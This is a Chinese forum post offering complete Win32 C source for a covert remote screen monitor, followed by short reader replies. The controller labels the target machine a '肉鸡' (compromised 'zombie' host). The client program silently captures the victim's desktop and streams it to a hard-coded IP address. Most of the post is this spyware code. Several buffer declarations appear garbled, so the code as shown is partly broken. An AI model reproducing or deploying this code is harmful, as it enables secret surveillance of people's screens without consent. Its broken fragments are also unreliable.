C语言写的监视远程桌面(附源码)
可以实现远程桌面的实时监控,不过有点卡顿画质也不是很清晰。这些我没有完善,设置一下超时时间或者压缩一下数据应该能够解决这个问题,我没有继续弄,有兴趣的朋友可以做下。**** Hidden Message ***** 服务端源码:#include <windows.h>
#include <Winsock.h>
#include "ControlCmd.h"
#pragma comment(lib,"wsock32.lib")
HINSTANCE ApphInstance;
HWND hMainWnd,hStartScreenButton,hStateStatic,hPrintScreenWnd;
SOCKET hControlSocket;
sockaddr_in stControlAddr;
MSG_HEAD ControlCMD;
BOOL bPrintScreen = FALSE;
HDC hCaptureDC;
VOID ListenThread(LPVOID lpParam)
{
fd_set stReadfd;
timeval stTime;
sockaddr_in stSin;
int SelectReturn,addrLength;
char lpBuffer;
MSG_HEAD MsgHead;
while(1)
{
FD_ZERO(&stReadfd);
FD_SET(hControlSocket,&stReadfd);
stTime.tv_sec = 0;
stTime.tv_usec = 200 * 1000;
SelectReturn = select(0,&stReadfd,NULL,NULL,&stTime);
if(SOCKET_ERROR == SelectReturn)
break;
if(SelectReturn)
{
RtlZeroMemory(lpBuffer,sizeof(lpBuffer));
addrLength = sizeof(sockaddr_in);
recvfrom(hControlSocket,lpBuffer,sizeof(lpBuffer),0,(sockaddr*)&stSin,&addrLength);
memcpy(&MsgHead,lpBuffer,sizeof(MSG_HEAD));
switch(MsgHead.dwCmdId)
{
case CMD_LINK:
{
memcpy(&stControlAddr,&stSin,sizeof(sockaddr_in));
SetWindowText(hStateStatic,"肉鸡状态:已连接");
break;
}
}
}
}
closesocket(hControlSocket);
return ;
}
VOID PrintScreenThread(LPVOID lpParam)
{
SOCKET hListenSocket,hPrintScreenSocket;
sockaddr_in stSin;
fd_set stReadfd;
timeval stTime;
int SelectReturn,nBitmapDataSize = 32;
char lpMSGHeadBuffer;
MSG_HEAD MsgHead;
BITMAPINFOHEADER stBitmapInfo;
HBITMAP hCaptureBitmap;
HGLOBAL lpBitmapData;
HDC hDC;
int nRecvNumbera,nRecvNumberb;
hListenSocket = socket(AF_INET,SOCK_STREAM,NULL);
RtlZeroMemory(&stSin,sizeof(sockaddr_in));
stSin.sin_addr.S_un.S_addr = INADDR_ANY;
stSin.sin_family = AF_INET;
stSin.sin_port = (short)lpParam;
if(0 != bind(hListenSocket,(sockaddr *)&stSin,sizeof(stSin)))
{
MessageBox(NULL,"无法绑定到指定端口!","提示",MB_OK);
closesocket(hControlSocket);
return ;
}
listen(hListenSocket,1);
ControlCMD.dwCmdId = CMD_BEREADY;
ControlCMD.dwLength = sizeof(MSG_HEAD);
sendto(hControlSocket,(char*)&ControlCMD,sizeof(MSG_HEAD),0,(sockaddr*)&stControlAddr,sizeof(sockaddr_in));
hPrintScreenSocket = accept(hListenSocket,NULL,NULL);
if(INVALID_SOCKET == hPrintScreenSocket)
{
closesocket(hControlSocket);
return ;
}
lpBitmapData = GlobalAlloc(GPTR,nBitmapDataSize);
if(NULL == lpBitmapData)
{
closesocket(hControlSocket);
closesocket(hPrintScreenSocket);
return ;
}
hDC = GetDC(hPrintScreenWnd);
hCaptureDC = CreateCompatibleDC(hDC);
hCaptureBitmap = CreateCompatibleBitmap(hDC,1920,1080);
SelectObject(hCaptureDC,hCaptureBitmap);
while(bPrintScreen)
{
FD_ZERO(&stReadfd);
FD_SET(hPrintScreenSocket,&stReadfd);
stTime.tv_sec = 0;
stTime.tv_usec = 200 * 500;
SelectReturn = select(0,&stReadfd,NULL,NULL,&stTime);
if(SOCKET_ERROR == SelectReturn)
break;
if(SelectReturn)
{
RtlZeroMemory(lpMSGHeadBuffer,sizeof(lpMSGHeadBuffer));
recv(hPrintScreenSocket,lpMSGHeadBuffer,sizeof(lpMSGHeadBuffer),0);
memcpy(&MsgHead,lpMSGHeadBuffer,sizeof(MSG_HEAD));
nRecvNumbera = 0;
nRecvNumberb = 0;
do
{
nRecvNumbera = recv(hPrintScreenSocket,(char*)&stBitmapInfo + nRecvNumberb,sizeof(BITMAPINFOHEADER) - nRecvNumberb,0);
nRecvNumberb +=nRecvNumbera;
}while(nRecvNumberb < sizeof(BITMAPINFOHEADER));
nBitmapDataSize = MsgHead.dwLength - sizeof(MSG_HEAD) - sizeof(BITMAPINFOHEADER);
lpBitmapData = GlobalReAlloc(lpBitmapData,nBitmapDataSize,GMEM_MOVEABLE | GMEM_ZEROINIT);
nRecvNumbera = 0;
nRecvNumberb = 0;
do
{
nRecvNumbera = recv(hPrintScreenSocket,(char*)((int)lpBitmapData + nRecvNumberb),nBitmapDataSize - nRecvNumberb,0);
nRecvNumberb +=nRecvNumbera;
}while(nRecvNumberb < nBitmapDataSize);
SetDIBitsToDevice(hCaptureDC,0,0,stBitmapInfo.biWidth,stBitmapInfo.biHeight,0,0,0,stBitmapInfo.biHeight,lpBitmapData,(BITMAPINFO*)&stBitmapInfo,DIB_RGB_COLORS);
InvalidateRect(hPrintScreenWnd,NULL,FALSE);
}
}
GlobalFree(lpBitmapData);
ReleaseDC(hPrintScreenWnd,hDC);
DeleteObject(hCaptureBitmap);
DeleteDC(hCaptureDC);
closesocket(hListenSocket);
closesocket(hPrintScreenSocket);
return ;
}
LRESULT CALLBACK WinPrintScreenProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam,// first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_PAINT:
{
PAINTSTRUCT stPt;
HDC hDc;
hDc = BeginPaint(hwnd,&stPt);
StretchBlt(hDc,0,0,1800,1012,hCaptureDC,0,0,1920,1080,SRCCOPY);
EndPaint(hwnd,&stPt);
break;
}
case WM_CLOSE:
{
bPrintScreen = FALSE;
ControlCMD.dwCmdId = CMD_PRINTSCREEN_END;
ControlCMD.dwLength = sizeof(MSG_HEAD);
sendto(hControlSocket,(char*)&ControlCMD,sizeof(MSG_HEAD),0,(sockaddr*)&stControlAddr,sizeof(sockaddr_in));
DestroyWindow(hwnd);
break;
}
default:
return DefWindowProc(hwnd,uMsg,wParam,lParam);
}
return 0;
}
LRESULT CALLBACK WinMainProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam,// first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_CREATE:
{
hStartScreenButton = CreateWindowEx(NULL,"Button","开始截屏",WS_CHILD | WS_VISIBLE,50,30,100,23,hwnd,NULL,ApphInstance,NULL);
hStateStatic = CreateWindowEx(NULL,"Static","肉鸡状态:未连接",WS_CHILD | WS_VISIBLE,50,245,150,23,hwnd,NULL,ApphInstance,NULL);
WSADATA lpWSAdata;
sockaddr_in stSin;
HANDLE hListenThread;
DWORD dwThreadId;
if(0 != WSAStartup(MAKEWORD(2,2),&lpWSAdata))
{
MessageBox(NULL,"获取网络环境失败!","提示",MB_OK);
break;
}
hControlSocket = socket(AF_INET,SOCK_DGRAM,NULL);
RtlZeroMemory(&stSin,sizeof(sockaddr_in));
stSin.sin_addr.S_un.S_addr = INADDR_ANY;
stSin.sin_family = AF_INET;
stSin.sin_port = htons(9999);
if(0 != bind(hControlSocket,(sockaddr *)&stSin,sizeof(stSin)))
{
MessageBox(NULL,"无法绑定到指定端口!","提示",MB_OK);
ExitProcess(NULL);
break;
}
RtlZeroMemory(&stControlAddr,sizeof(sockaddr_in));
hListenThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ListenThread,NULL,0,&dwThreadId);
CloseHandle(hListenThread);
break;
}
case WM_COMMAND:
{
if(0 == HIWORD(wParam))
{
BYTE lpCmdBuffer;
if((HWND)lParam == hStartScreenButton)
{
if(!bPrintScreen)
{
short port;
HANDLE hPrintScreenThread;
DWORD dwThreadId;
WNDCLASSEX PrintScreenWnd;
PrintScreenWnd.cbClsExtra = 0;
PrintScreenWnd.cbSize = sizeof(WNDCLASSEX);
PrintScreenWnd.cbWndExtra = 0;
PrintScreenWnd.hbrBackground = (HBRUSH)CreateSolidBrush(RGB(255,255,255));
PrintScreenWnd.hCursor = LoadCursor(NULL,IDC_ARROW);
PrintScreenWnd.hIcon = LoadIcon(NULL,MAKEINTRESOURCE(IDI_APPLICATION));
PrintScreenWnd.hIconSm = NULL;
PrintScreenWnd.hInstance = ApphInstance;
PrintScreenWnd.lpfnWndProc = WinPrintScreenProc;
PrintScreenWnd.lpszClassName = "PRINTSCREENWND";
PrintScreenWnd.lpszMenuName = NULL;
PrintScreenWnd.style = NULL;
RegisterClassEx(&PrintScreenWnd);
hPrintScreenWnd = CreateWindowEx(NULL,"PRINTSCREENWND","截屏显示",WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,50,0,1805,1035,hMainWnd,NULL,ApphInstance,NULL);
ShowWindow(hPrintScreenWnd,SW_SHOWNORMAL);
UpdateWindow(hPrintScreenWnd);
ControlCMD.dwCmdId = CMD_PRINTSCREEN_START;
ControlCMD.dwLength = sizeof(MSG_HEAD) + sizeof(short);
RtlZeroMemory(lpCmdBuffer,sizeof(lpCmdBuffer));
memcpy(lpCmdBuffer,&ControlCMD,sizeof(MSG_HEAD));
port = htons(10000);
memcpy((void*)(lpCmdBuffer + sizeof(MSG_HEAD)),&port,sizeof(short));
hPrintScreenThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)PrintScreenThread,(void*)port,0,&dwThreadId);
CloseHandle(hPrintScreenThread);
sendto(hControlSocket,(char*)lpCmdBuffer,sizeof(MSG_HEAD) + sizeof(short),0,(sockaddr*)&stControlAddr,sizeof(sockaddr_in));
bPrintScreen = TRUE;
}
}
}
break;
}
case WM_CLOSE:
{
closesocket(hControlSocket);
WSACleanup();
DestroyWindow(hMainWnd);
PostQuitMessage(NULL);
break;
}
default:
return DefWindowProc(hwnd,uMsg,wParam,lParam);
}
return 0;
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance,// handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
WNDCLASSEX MainWnd;
MSG MainWndMsg;
ApphInstance = hInstance;
MainWnd.cbClsExtra = 0;
MainWnd.cbSize = sizeof(WNDCLASSEX);
MainWnd.cbWndExtra = 0;
MainWnd.hbrBackground = (HBRUSH)CreateSolidBrush(RGB(240,240,240));
MainWnd.hCursor = LoadCursor(NULL,IDC_ARROW);
MainWnd.hIcon = LoadIcon(NULL,MAKEINTRESOURCE(IDI_APPLICATION));
MainWnd.hIconSm = NULL;
MainWnd.hInstance = hInstance;
MainWnd.lpfnWndProc = WinMainProc;
MainWnd.lpszClassName = "MAINWND";
MainWnd.lpszMenuName = NULL;
MainWnd.style = NULL;
RegisterClassEx(&MainWnd);
hMainWnd = CreateWindowEx(NULL,"MAINWND","截屏服务端",WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,200,200,400,300,NULL,NULL,hInstance,NULL);
ShowWindow(hMainWnd,SW_SHOWNORMAL);
UpdateWindow(hMainWnd);
while(GetMessage(&MainWndMsg,NULL,0,0))
{
TranslateMessage(&MainWndMsg);
DispatchMessage(&MainWndMsg);
}
return 1;
}
客户端源码:
#include <windows.h>
#include <Winsock.h>
#include "ControlCmd.h"
#pragma comment(lib,"wsock32.lib")
BOOL bPrintScreen = FALSE;
HANDLE hPrintScreenThread;
VOID PrintScreenThread(LPVOID lpParam)
{
SOCKET hPrintScreenSocket;
sockaddr_in stSin;
int nScreenWidth,nScreenHeight;
HWND hDesktopWnd;
HDC hDesktopDC,hCaptureDC;
HBITMAP hCaptureBitmap;
BITMAP stBitmap;
BITMAPINFOHEADER stBitmapInfo;
int nBitmapDataSize = 32;
HGLOBAL lpBitmapData;
MSG_HEAD PrintScreenData;
nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
nScreenHeight = GetSystemMetrics(SM_CYSCREEN);
hDesktopWnd = GetDesktopWindow();
hDesktopDC = GetDC(hDesktopWnd);
hCaptureDC = CreateCompatibleDC(hDesktopDC);
hCaptureBitmap =CreateCompatibleBitmap(hDesktopDC,nScreenWidth, nScreenHeight);
SelectObject(hCaptureDC,hCaptureBitmap);
hPrintScreenSocket = socket(AF_INET,SOCK_STREAM,NULL);
RtlZeroMemory(&stSin,sizeof(sockaddr_in));
stSin.sin_addr.S_un.S_addr = inet_addr("192.168.1.101");
stSin.sin_family = AF_INET;
stSin.sin_port = (short)lpParam;
if(SOCKET_ERROR == connect(hPrintScreenSocket,(sockaddr *)&stSin,sizeof(sockaddr_in)))
{
closesocket(hPrintScreenSocket);
return ;
}
lpBitmapData = GlobalAlloc(GPTR,nBitmapDataSize);
if(NULL == lpBitmapData)
return ;
while(bPrintScreen)
{
BitBlt(hCaptureDC,0,0,nScreenWidth,nScreenHeight,hDesktopDC,0,0,SRCCOPY);
GetObject(hCaptureBitmap,sizeof(BITMAP),&stBitmap);
nBitmapDataSize = stBitmap.bmWidthBytes * stBitmap.bmHeight;
lpBitmapData = GlobalReAlloc(lpBitmapData,nBitmapDataSize + sizeof(MSG_HEAD) + sizeof(BITMAPINFOHEADER),GMEM_MOVEABLE | GMEM_ZEROINIT);
stBitmapInfo.biBitCount = stBitmap.bmBitsPixel;
stBitmapInfo.biClrImportant = 0;
stBitmapInfo.biClrUsed = 0;
stBitmapInfo.biCompression = 0;
stBitmapInfo.biHeight = stBitmap.bmHeight;
stBitmapInfo.biPlanes = stBitmap.bmPlanes;
stBitmapInfo.biSize = sizeof(BITMAPINFOHEADER);
stBitmapInfo.biSizeImage = nBitmapDataSize;
stBitmapInfo.biWidth = stBitmap.bmWidth;
stBitmapInfo.biXPelsPerMeter = 0;
stBitmapInfo.biYPelsPerMeter = 0;
GetDIBits(hCaptureDC,hCaptureBitmap,0,stBitmap.bmHeight,(void*)((int)lpBitmapData + sizeof(MSG_HEAD) + sizeof(BITMAPINFOHEADER)),(BITMAPINFO*)&stBitmapInfo,DIB_RGB_COLORS);
PrintScreenData.dwCmdId = CMD_PRINTSCREEN_DATA;
PrintScreenData.dwLength = sizeof(MSG_HEAD) + sizeof(BITMAPINFOHEADER) + nBitmapDataSize;
memcpy(lpBitmapData,&PrintScreenData,sizeof(MSG_HEAD));
memcpy((void*)((int)lpBitmapData + sizeof(MSG_HEAD)),&stBitmapInfo,sizeof(BITMAPINFOHEADER));
send(hPrintScreenSocket,(char *)lpBitmapData,nBitmapDataSize + sizeof(MSG_HEAD) + sizeof(BITMAPINFOHEADER),0);
Sleep(30);
}
GlobalFree(lpBitmapData);
closesocket(hPrintScreenSocket);
ReleaseDC(hDesktopWnd,hDesktopDC);
DeleteDC(hCaptureDC);
DeleteObject(hCaptureBitmap);
return ;
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance,// handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
WSADATA lpWSAdata;
SOCKET hWaitSocket;
sockaddr_in stSin;
fd_set stReadfd;
timeval stTime;
int addrLength;
char lpBuffer;
MSG_HEAD MsgHead;
if(0 != WSAStartup(MAKEWORD(2,2),&lpWSAdata))
{
MessageBox(NULL,"获取网络环境失败!","提示",MB_OK);
return 1;
}
hWaitSocket = socket(AF_INET,SOCK_DGRAM,NULL);
RtlZeroMemory(&stSin,sizeof(sockaddr_in));
stSin.sin_addr.S_un.S_addr = inet_addr("192.168.1.101");
stSin.sin_family = AF_INET;
stSin.sin_port = htons(9999);
MsgHead.dwCmdId = CMD_LINK;
MsgHead.dwLength = sizeof(MSG_HEAD);
sendto(hWaitSocket,(char*)&MsgHead,sizeof(MSG_HEAD),0,(sockaddr *)&stSin,sizeof(sockaddr_in));
while(1)
{
FD_ZERO(&stReadfd);
FD_SET(hWaitSocket,&stReadfd);
stTime.tv_sec = 0;
stTime.tv_usec = 200 * 1000;
if(select(0,&stReadfd,NULL,NULL,&stTime))
{
RtlZeroMemory(lpBuffer,sizeof(lpBuffer));
addrLength = sizeof(sockaddr_in);
recvfrom(hWaitSocket,lpBuffer,sizeof(lpBuffer),0,(sockaddr *)&stSin,&addrLength);
memcpy(&MsgHead,lpBuffer,sizeof(MSG_HEAD));
switch(MsgHead.dwCmdId)
{
case CMD_PRINTSCREEN_START:
{
DWORD dwThreadId;
short port;
if(!bPrintScreen)
{
bPrintScreen = TRUE;
memcpy((void*)&port,lpBuffer + sizeof(MSG_HEAD),sizeof(short));
hPrintScreenThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)PrintScreenThread,(void*)port,CREATE_SUSPENDED,&dwThreadId);
}
break;
}
case CMD_PRINTSCREEN_END:
{
bPrintScreen = FALSE;
break;
}
case CMD_TESTING_LINK:
{
MsgHead.dwCmdId = CMD_LINK;
MsgHead.dwLength = sizeof(MSG_HEAD);
sendto(hWaitSocket,(char*)&MsgHead,sizeof(MSG_HEAD),0,(sockaddr *)&stSin,sizeof(sockaddr_in));
break;
}
case CMD_BEREADY:
{
ResumeThread(hPrintScreenThread);
break;
}
}
}
}
closesocket(hWaitSocket);
WSACleanup();
return 1;
}
感谢楼主无私奉献 不错不错,很不错,必须支持 的所得到的 回复 学习
感谢楼主无私奉献 好东西,谢谢分享啊!! mfc吗 做为一名天龙资深玩家,做为一名win32 sdk粉丝,倾力推荐!
@小甲鱼 @迷雾少年 @黑龍 @ryxcaixia
#include "ControlCmd.h" 这个库哪里来的? 强耶 怎么用啊楼主 看看,顺便收藏了。。。 可以有 楼主厉害。。。膜拜。。 6666666666666 膜拜 学了一年C语言 只会做一些算法题 诶 支持 下载拉开